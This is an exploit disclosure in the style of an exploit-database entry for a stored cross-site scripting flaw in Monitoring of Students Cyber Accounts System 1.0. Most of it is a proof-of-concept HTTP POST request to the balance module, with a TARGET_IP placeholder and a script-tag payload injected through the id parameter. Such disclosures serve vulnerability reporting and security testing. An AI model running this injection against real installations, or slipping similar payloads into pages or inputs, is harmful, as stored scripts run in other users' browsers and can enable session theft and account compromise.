Monitoring Of Students Cyber Accounts System 1.0 Cross Site Scripting

Monitoring of Students Cyber Accounts System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 309d1ad5df8acf0e10bd0dad637a3ba2

# Exploit Title: Monitoring of Students Cyber Accounts System | Stored XSS
# Exploit Author: Richard Jones
# Date: 2021-03-12
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34


POST /MSCAB/modules/balance/index.php?view=balancelist HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: http://TARGET_IP
Connection: close
Referer: http://TARGET_IP/MSCAB/modules/balance/index.php
Cookie: PHPSESSID=dfuubu6d4r84jgvrq2384q6mm6
Upgrade-Insecure-Requests: 1


# id=1e6g5k"><script>alert(`Pwned`)</script>wqp7w&plain= (Url decoded)

Related Posts